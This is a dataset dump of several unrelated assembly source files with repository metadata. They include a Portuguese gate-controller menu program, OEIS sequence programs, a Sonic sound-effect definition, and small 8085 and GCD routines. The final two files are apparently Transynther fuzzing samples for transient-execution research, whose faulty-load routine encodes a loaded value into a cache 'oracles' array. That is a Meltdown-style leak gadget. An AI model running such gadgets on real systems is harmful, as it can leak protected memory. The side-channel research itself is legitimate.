16.076923
32
0.502392
217d5377c7af4603fec76384d2914d6152c88988
15,248
asm
Assembly
portao.asm
gilvancerqueira/portao_assembly
75ae0d50de24d4529b98af7a6e7b217162100686
[ "Apache-2.0" ]
null
null
null
portao.asm
gilvancerqueira/portao_assembly
75ae0d50de24d4529b98af7a6e7b217162100686
[ "Apache-2.0" ]
null
null
null
portao.asm
gilvancerqueira/portao_assembly
75ae0d50de24d4529b98af7a6e7b217162100686
[ "Apache-2.0" ]
1
2020-10-30T03:11:00.000Z
2020-10-30T03:11:00.000Z
; linha de comando ; nasm -felf64 portao.asm && ld portao.o && ./a.out LF equ 10 ; line feed NULL equ 0 ; end of string TRUE equ 1 FALSE equ 0 EXIT_SUCCESS equ 0 ; success code STDIN equ 0 ; standard input STDOUT equ 1 ; standard output STDERR equ 2 ; standard error SYS_read equ 0 ; read SYS_write equ 1 ; write SYS_open equ 2 ; file open SYS_close equ 3 ; file close SYS_fork equ 57 ; fork SYS_exit equ 60 ; terminate SYS_creat equ 85 ; file open/create SYS_time equ 201 ; get time %macro exit 0 mov rax, SYS_exit xor rdi, rdi syscall %endmacro %macro print 2 mov rax, SYS_write mov rdi, STDOUT mov rsi, %1 mov rdx, %2 syscall %endmacro %macro scan 2 write_display selectionArea1, lenSelectionArea mov rax, SYS_read mov rdi, STDOUT mov rsi, %1 mov rdx, %2 syscall %endmacro %macro opcaoincorreta 4 print %1, %2 scan %3, 1 call %4 syscall %endmacro %macro write_display 2 mov eax, 4 ; system call number (sys_write) mov ebx, 1 ; file descriptor (stdout) mov ecx, %1 ; data mov edx, %2 ; lenght data int 80h %endmacro section .data menu db "****** Selecione a ação ******", LF, "* *", LF, lenmenu equ $-menu menuprin db "* 1 - Portão Aberto *", LF, "* 2 - Portão Fechado *", LF, "* 0 - Sair *", LF, "* *", LF, "******************************",LF, LF lenmenuprin equ $-menuprin menugateClosed1 db "* 1 - Abrir o portão *", LF, "* 0 - Sair *", LF, "* *", LF, "******************************",LF, LF lenmenugateClosed1 equ $-menugateClosed1 menugateOpening1 db "* 1 - Final de curso aberto *", LF, "* 2 - Fechar o portão *", LF, "* 0 - Sair *", LF, "* *", LF, "******************************",LF, LF lenmenugateOpening1 equ $-menugateOpening1 menugateClosing1 db "* 1 - EMERGÊNCIA *", LF, "* 2 - Final de curso fechado *", LF, "* 0 - Sair *", LF, "* *", LF, "******************************",LF, LF lenmenugateClosing1 equ $-menugateClosing1 menugateOpened1 db "* 2 - Fechar o portão *", LF, "* 0 - Sair *", LF, "* *", LF, "******************************",LF, LF lenmenugateOpened1 equ $-menugateOpened1 resposta db "Opção Inválida, digite novamente", LF, LF lenresposta equ $-resposta ; Option scenario scenario1: db 10, scenario2: db "***** Selecione uma opção ****", 10 scenario3: db "* *", 10 lenScenarioOptio: equ $ - scenario1 ; Selection area selectionArea1: db "Digite a opção: ", 10 lenSelectionArea: equ $ - selectionArea1 opcao db "0", 0 ; Gate Closed gateClosed1: db " '--------------------- -------------------------'", 10 gateClosed2: db " ' / / / /| / / / / /'", 10 gateClosed3: db " '-------------------/| ---------------------- '", 10 gateClosed4: db " ' | | | |--------------------| | | | '", 10 gateClosed5: db " '-------------------| |-------------- '", 10 gateClosed6: db " ' | | | | | | | '", 10 gateClosed7: db " * '-----------------x|| |-------------- '", 10 gateClosed8: db " *** ' | | | | | | | | '", 10 gateClosed9: db " ***** '-------------------| |-------------- '", 10 gateClosed10: db " | ' fcf /|0-----()-----()-----| fca '", 10 gateClosed11: db " _|_ ' / / '", 10 gateClosed12: db " ' / / '", 10 gateClosed13: db " ' / / '", 10 gateClosed14: db " ' / / '", 10 gateClosed15: db " ' / / '", 10 gateClosed16: db " ' / / '", 10 gateClosed17: db " ' / \ '", 10 gateClosed18: db " ' / \ '", 10 gateClosed19: db " ' | '", 10 gateClosed20: db " ' | '", 10 gateClosed21: db " ' |---| '", 10 gateClosed22: db " ' | 0 | ba '", 10 gateClosed23: db " ' | 0 | bf '", 10 gateClosed24: db " ' |---| '", 10 lenGateClosed: equ $ - gateClosed1 ; Gate Opening gateOpening1: db " '---------------------- ---------------------'", 10 gateOpening2: db " ' / / / /| / / / / /'", 10 gateOpening3: db " '--------------------/| ------------------- '", 10 gateOpening4: db " ' | | | | | ------------------- | | '", 10 gateOpening5: db " '--------------------/| | |------- '", 10 gateOpening6: db " ' | | | | | | | | '", 10 gateOpening7: db " * '--------------------/| x| | |------- '", 10 gateOpening8: db " *** ' | | | | | | | | | '", 10 gateOpening9: db " ***** '--------------------/ | |------- '", 10 gateOpening10: db " | ' fcf / |0----()----()----| fca '", 10 gateOpening11: db " _|_ ' / / '", 10 gateOpening12: db " ' / ---> / '", 10 gateOpening13: db " ' / / '", 10 gateOpening14: db " ' / / '", 10 gateOpening15: db " ' / / '", 10 gateOpening16: db " ' / / '", 10 gateOpening17: db " ' / \ '", 10 gateOpening18: db " ' / \ '", 10 gateOpening19: db " ' | '", 10 gateOpening20: db " ' | '", 10 gateOpening21: db " ' |---| '", 10 gateOpening22: db " ' | 0 | ba '", 10 gateOpening23: db " ' | 0 | bf '", 10 gateOpening24: db " ' |---| '", 10 lenGateOpening: equ $ - gateOpening1 ; Gate Closing gateClosing1: db " '---------------------- ---------------------'", 10 gateClosing2: db " ' / / / /| / / / / /'", 10 gateClosing3: db " '--------------------/| ------------------- '", 10 gateClosing4: db " ' | | | | | ------------------- | | '", 10 gateClosing5: db " '--------------------/| | |------- '", 10 gateClosing6: db " ' | | | | | | | | '", 10 gateClosing7: db " * '--------------------/| x| | |------- '", 10 gateClosing8: db " *** ' | | | | | | | | | '", 10 gateClosing9: db " ***** '--------------------/ | |------- '", 10 gateClosing10: db " | ' fcf / |0----()----()----| fca '", 10 gateClosing11: db " _|_ ' / / '", 10 gateClosing12: db " ' / <--- / '", 10 gateClosing13: db " ' / / '", 10 gateClosing14: db " ' / / '", 10 gateClosing15: db " ' / / '", 10 gateClosing16: db " ' / / '", 10 gateClosing17: db " ' / \ '", 10 gateClosing18: db " ' / \ '", 10 gateClosing19: db " ' | '", 10 gateClosing20: db " ' | '", 10 gateClosing21: db " ' |---| '", 10 gateClosing22: db " ' | 0 | ba '", 10 gateClosing23: db " ' | 0 | bf '", 10 gateClosing24: db " ' |---| '", 10 lenGateClosing: equ $ - gateClosing1 ; Gate Opened gateOpened1: db " '---------------------- ---------------------'", 10 gateOpened2: db " ' / / / /| / / / / /'", 10 gateOpened3: db " '--------------------/| ------------------- '", 10 gateOpened4: db " ' | | | | | ------------------- |'", 10 gateOpened5: db " '--------------------/| | |-|'", 10 gateOpened6: db " ' | | | | | | |'", 10 gateOpened7: db " * '--------------------/| x| | |-|'", 10 gateOpened8: db " *** ' | | | | | | | |'", 10 gateOpened9: db " ***** '--------------------/ | |-|'", 10 gateOpened10: db " | ' fcf / |0----()----()----| |'", 10 gateOpened11: db " _|_ ' / / '", 10 gateOpened12: db " ' / / '", 10 gateOpened13: db " ' / / '", 10 gateOpened14: db " ' / / '", 10 gateOpened15: db " ' / / '", 10 gateOpened16: db " ' / / '", 10 gateOpened17: db " ' / \ '", 10 gateOpened18: db " ' / \ '", 10 gateOpened19: db " ' | '", 10 gateOpened20: db " ' | '", 10 gateOpened21: db " ' |---| '", 10 gateOpened22: db " ' | 0 | ba '", 10 gateOpened23: db " ' | 0 | bf '", 10 gateOpened24: db " ' |---| '", 10 lenGateOpened: equ $ - gateOpened1 clear db 27,"[H",27,"[2J" lenClear equ $-clear section .text global _start _start: call _menu _menu: print menu, lenmenu print menuprin, lenmenuprin scan opcao, 1 call _checkoption _menugateOpened1: write_display scenario1, lenScenarioOptio print menugateOpened1, lenmenugateOpened1 scan opcao, 1 call _checkoptiongateOpened1 _menugateOpening1: write_display scenario1, lenScenarioOptio print menugateOpening1, lenmenugateOpening1 scan opcao, 1 call _checkoptiongateOpening1 _menugateClosed1: write_display scenario1, lenScenarioOptio print menugateClosed1, lenmenugateClosed1 scan opcao, 1 call _checkoptiongateClosed1 _menugateClosing1: write_display scenario1, lenScenarioOptio print menugateClosing1, lenmenugateClosing1 scan opcao, 1 call _checkoptiongateClosing1 _checkoption: mov al, '0' cmp [opcao], al je .end mov al, '1' cmp [opcao], al je .open mov al, '2' cmp [opcao], al je .close opcaoincorreta resposta, lenresposta, opcao, _menu .open: print clear, lenClear print gateOpened1, lenGateOpened scan opcao, 1 call _menugateOpened1 .close: print clear, lenClear print gateClosed1, lenGateClosed scan opcao, 1 call _menugateClosed1 .end: exit _checkoptiongateOpened1: mov al, '0' cmp [opcao], al je .end mov al, '2' cmp [opcao], al je .close opcaoincorreta resposta, lenresposta, opcao, _menugateOpened1 .close: print clear, lenClear print gateClosing1, lenGateClosing scan opcao, 1 call _menugateClosing1 .end: exit _checkoptiongateOpening1: mov al, '0' cmp [opcao], al je .end mov al, '1' cmp [opcao], al je .open mov al, '2' cmp [opcao], al je .close opcaoincorreta resposta, lenresposta, opcao, _menugateOpening1 .open: print clear, lenClear print gateOpened1, lenGateOpened scan opcao, 1 call _menugateOpened1 .close: print clear, lenClear print gateClosing1, lenGateClosing scan opcao, 1 call _menugateClosing1 .end: exit _checkoptiongateClosing1: mov al, '0' cmp [opcao], al je .end mov al, '1' cmp [opcao], al je .open mov al, '2' cmp [opcao], al je .close opcaoincorreta resposta, lenresposta, opcao, _menugateClosing1 .open: print clear, lenClear print gateOpening1, lenGateOpening scan opcao, 1 call _menugateOpening1 .close: print clear, lenClear print gateClosed1, lenGateClosed scan opcao, 1 call _menugateClosed1 .end: exit _checkoptiongateClosed1: mov al, '0' cmp [opcao], al je .end mov al, '1' cmp [opcao], al je .open opcaoincorreta resposta, lenresposta, opcao, _menugateClosed1 .open: print clear, lenClear print gateOpening1, lenGateOpening scan opcao, 1 call _menugateOpening1 .end: exit
41.322493
225
0.345947
593f5efb0ec3ceb1ce14f9949f47a11768d00b51
672
asm
Assembly
programs/oeis/077/A077957.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/077/A077957.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/077/A077957.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A077957: Powers of 2 alternating with zeros. ; 1,0,2,0,4,0,8,0,16,0,32,0,64,0,128,0,256,0,512,0,1024,0,2048,0,4096,0,8192,0,16384,0,32768,0,65536,0,131072,0,262144,0,524288,0,1048576,0,2097152,0,4194304,0,8388608,0,16777216,0,33554432,0,67108864,0,134217728,0,268435456,0,536870912,0,1073741824,0,2147483648,0,4294967296,0,8589934592,0,17179869184,0,34359738368,0,68719476736,0,137438953472,0,274877906944,0,549755813888,0,1099511627776,0,2199023255552,0,4398046511104,0,8796093022208,0,17592186044416,0,35184372088832,0,70368744177664,0,140737488355328,0,281474976710656,0,562949953421312,0 mov $1,$0 div $0,2 sub $2,$1 gcd $1,2 pow $1,$0 mod $2,2 add $1,$2 mov $0,$1
56
546
0.775298
69f84a1f545bf8831805f431d4dc4b4f37610125
717
asm
Assembly
Computer Organization & Architecture/basic-assembly/sum.asm
eugenetriguba/academic-courses
21baac19a42734e880566348210058c2394b5c10
[ "MIT" ]
null
null
null
Computer Organization & Architecture/basic-assembly/sum.asm
eugenetriguba/academic-courses
21baac19a42734e880566348210058c2394b5c10
[ "MIT" ]
null
null
null
Computer Organization & Architecture/basic-assembly/sum.asm
eugenetriguba/academic-courses
21baac19a42734e880566348210058c2394b5c10
[ "MIT" ]
null
null
null
; Compute sum=158+number+number1, where number is initialed to -105 .586 .MODEL FLAT .STACK 4096 ; reserve 4096-byte stack .DATA ; reserve storage for data number DWORD -105 number1 DWORD 12 sum DWORD ? .CODE ; start of main program code main PROC mov eax, number ; move doubleword number to EAX add eax, 158 ; add doubleword 158 to EAX add eax, number1 ; add doubleword number1 to EAX mov sum, eax ; move EAX to doubleword sum mov eax, 0 ; exit with return code 0 ret main ENDP END ; end of source code
31.173913
68
0.529986
333685ad3412c1492e5e7fc2bbdbb9978cbbf91b
930
asm
Assembly
sound/sfxasm/89.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
7
2019-12-05T00:35:57.000Z
2022-02-27T20:00:33.000Z
sound/sfxasm/89.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
sound/sfxasm/89.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
89_Header: sHeaderInit ; Z80 offset is $CEC6 sHeaderPatch 89_Patches sHeaderTick $01 sHeaderCh $02 sHeaderSFX $80, $05, 89_FM5, $B6, $08 sHeaderSFX $80, $C0, 89_PSG3, $00, $00 89_FM5: sPatFM $00 ssModZ80 $01, $01, $FA, $84 dc.b nE5, $07 sLoop $00, $07, 89_FM5 sStop 89_PSG3: ssModZ80 $01, $01, $F0, $08 sNoisePSG $E7 dc.b nEb4, $08 89_Loop1: dc.b nB3, $05 saVolPSG $01 sLoop $00, $18, 89_Loop1 sStop 89_Patches: ; Patch $00 ; $F9 ; $21, $30, $10, $32, $1F, $1F, $1F, $1F ; $05, $18, $09, $02, $0B, $1F, $10, $05 ; $1F, $2F, $4F, $2F, $0E, $07, $04, $80 spAlgorithm $01 spFeedback $07 spDetune $02, $01, $03, $03 spMultiple $01, $00, $00, $02 spRateScale $00, $00, $00, $00 spAttackRt $1F, $1F, $1F, $1F spAmpMod $00, $00, $00, $00 spSustainRt $05, $09, $18, $02 spSustainLv $01, $04, $02, $02 spDecayRt $0B, $10, $1F, $05 spReleaseRt $0F, $0F, $0F, $0F spTotalLv $0E, $04, $07, $00
20.217391
41
0.590323
5b12511096aa6d50171bc6fd3b94da1f943ff494
689
asm
Assembly
oeis/004/A004527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/004/A004527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/004/A004527.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A004527: Ratios of successive terms are 1,2,2,3,4,4,5,6,6,... ; Submitted by Jon Maiga ; 1,1,2,4,12,48,192,960,5760,34560,241920,1935360,15482880,139345920,1393459200,13934592000,153280512000,1839366144000,22072393728000,286941118464000,4017175658496000,56240459218944000,843606888284160000,13497710212546560000,215963363400744960000,3671377177812664320000,66084789200627957760000,1189526205611303239680000,22600997906614761553920000,452019958132295231078400000,9040399162645904621568000000,189848382415563997052928000000,4176664413142407935164416000000,91886617089132974573617152000000 mov $3,1 lpb $0 mov $2,$0 sub $0,1 add $2,$0 div $2,3 add $2,1 mul $3,$2 lpe mov $0,$3
45.933333
499
0.830189
5225c3e43089da0a76bcb22d2d124ef091eac49e
160
asm
Assembly
samples/separate_even.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
samples/separate_even.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
samples/separate_even.asm
SohamMalakar/Intel-8085
85b759c6c9a85691146270be920350ff45c0ea48
[ "MIT" ]
null
null
null
MVI H, 0AH LXI B, F100H LXI D, F200H LOOP: LDAX B RAR JC ODD RAL STAX D INX D ODD: INX B DCR H JNZ LOOP // RST 1 HLT
6.956522
14
0.49375
9c98cff6dbbd02b18e70f6ddcdab6508e48f03be
362
asm
Assembly
oeis/020/A020109.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/020/A020109.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/020/A020109.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A020109: Ceiling of GAMMA(n+8/9)/GAMMA(8/9). ; Submitted by Christian Krause ; 1,1,2,5,19,93,544,3742,29514,262342,2594262,28248628,335844793,4328666216,60120364101,895125421054,14222548356739,240203038913808,4296965473902564,81164903395937307,1614279745319197539 mov $3,$0 seq $0,20064 ; Integer part of Gamma(n+8/9)/Gamma(8/9). pow $2,$3 sub $0,$2 add $0,1
36.2
186
0.767956
fe48d7af2647b0d8bf8385ba50c54dfa256304db
4,996
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rbp push %rbx push %rsi lea addresses_WC_ht+0x1b39, %r9 nop nop xor %rbp, %rbp mov $0x6162636465666768, %rsi movq %rsi, (%r9) nop xor %rax, %rax lea addresses_D_ht+0xad39, %r9 add %r10, %r10 movb $0x61, (%r9) nop nop nop nop nop dec %r8 lea addresses_D_ht+0x1739, %r8 nop nop nop nop dec %rbx mov $0x6162636465666768, %r9 movq %r9, (%r8) nop nop nop nop sub $5700, %r9 lea addresses_UC_ht+0xbd79, %r9 nop nop nop sub %rbp, %rbp mov (%r9), %esi nop nop nop nop nop inc %rbp lea addresses_A_ht+0x137b9, %rsi nop nop nop nop nop dec %rbp movb (%rsi), %al nop nop nop nop nop add $31385, %rbx pop %rsi pop %rbx pop %rbp pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %r9 push %rdi push %rsi // Faulty Load lea addresses_A+0xeb39, %r9 nop nop and $54998, %rdi mov (%r9), %r8d lea oracles, %r14 and $0xff, %r8 shlq $12, %r8 mov (%r14,%r8,1), %r8 pop %rsi pop %rdi pop %r9 pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
42.700855
2,999
0.657126
c4b9c06b39c8752aad629888f11136d2945c8c5e
1,453
asm
Assembly
Benchmarks/gcd.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
2
2019-12-09T12:02:50.000Z
2019-12-09T22:40:01.000Z
Benchmarks/gcd.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
null
null
null
Benchmarks/gcd.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
1
2020-05-04T09:13:50.000Z
2020-05-04T09:13:50.000Z
; r1 = a, r2 = b, r10 return address, r15 = d LDC r1 2000 LDC r2 1000 LDC r15 0 -while1 ;while a and b both even ; if a and b even ; call mod with a and 2 ; save return address LDC r10 -re1 ; set r3 = a, r4 = 2 LDC r4 2 MOV r3 r1 ; call mod J -mod -re1 ; if r7 is not 0, jump to next while BNEZ -while2 r7 ; call mod with b and 2 ; save return address LDC r10 -re2 ; set r3 = a, r4 = 2 ;LDC r4 2 MOV r3 r2 ; call mod J -mod -re2 ; if r7 is not 0, jump to next while BNEZ -while2 r7 ; execute code inside while loop ; divide a and b by 2 ; add 1 to d IDIV r5 r1 2 IDIV r6 r2 2 ADDI r11 r15 1 MOV r1 r5 MOV r2 r6 MOV r15 r11 ; jump back to beginning of while J -while1 -while2 ;while a =/= b ; check a=/=b CMP r5 r1 r2 BEQZ -end r5 ; execute code in while ; if a is even LDC r10 -re3 LDC r4 2 MOV r3 r1 J -mod -re3 BNEZ -elif1 r7 IDIV r5 r1 2 MOV r1 r5 J -while2 ; else if b is even -elif1 LDC r10 -re4 LDC r4 2 MOV r3 r2 J -mod -re4 BNEZ -elif2 r7 IDIV r6 r2 2 MOV r2 r6 J -while2 ; else if a > b -elif2 CMP r5 r2 r1 BGEZ -else r5 SUB r6 r1 r2 IDIV r5 r6 2 MOV r1 r5 J -while2 ; else -else SUB r6 r2 r1 IDIV r5 r6 2 MOV r2 r5 J -while2 ;mod ; r7 = r3 mod r4 ; = r3 - r4*(r3 // r4) -mod IDIV r5 r3 r4 MUL r6 r4 r5 SUB r7 r3 r6 ; jump back to return address J r10 ; let g = a -end MOV r30 r1 MOV r31 r15
13.209091
45
0.594632
1e43173f52d2c7fc14a74f10fc46d0a85431be88
2,681
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_286_1196.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_286_1196.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_286_1196.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rax push %rdi push %rdx push %rsi lea addresses_WC_ht+0x9ff, %r10 nop nop nop nop nop and $54516, %r11 vmovups (%r10), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 nop nop nop dec %rsi lea addresses_WT_ht+0xfb53, %rdi nop sub $49545, %rdx movb (%rdi), %al nop nop nop nop nop sub %rdx, %rdx lea addresses_WC_ht+0xb53, %rax nop nop nop cmp $43975, %rdx mov (%rax), %r11d nop add %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rax pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %r9 push %rax push %rbp // Store lea addresses_WT+0xb283, %rbp nop nop dec %r9 mov $0x5152535455565758, %r12 movq %r12, (%rbp) inc %r13 // Faulty Load lea addresses_US+0x5b53, %r15 nop nop nop and $50349, %rax mov (%r15), %r13d lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rbp pop %rax pop %r9 pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_WT', 'congruent': 4}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_US', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 10}} {'00': 286} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 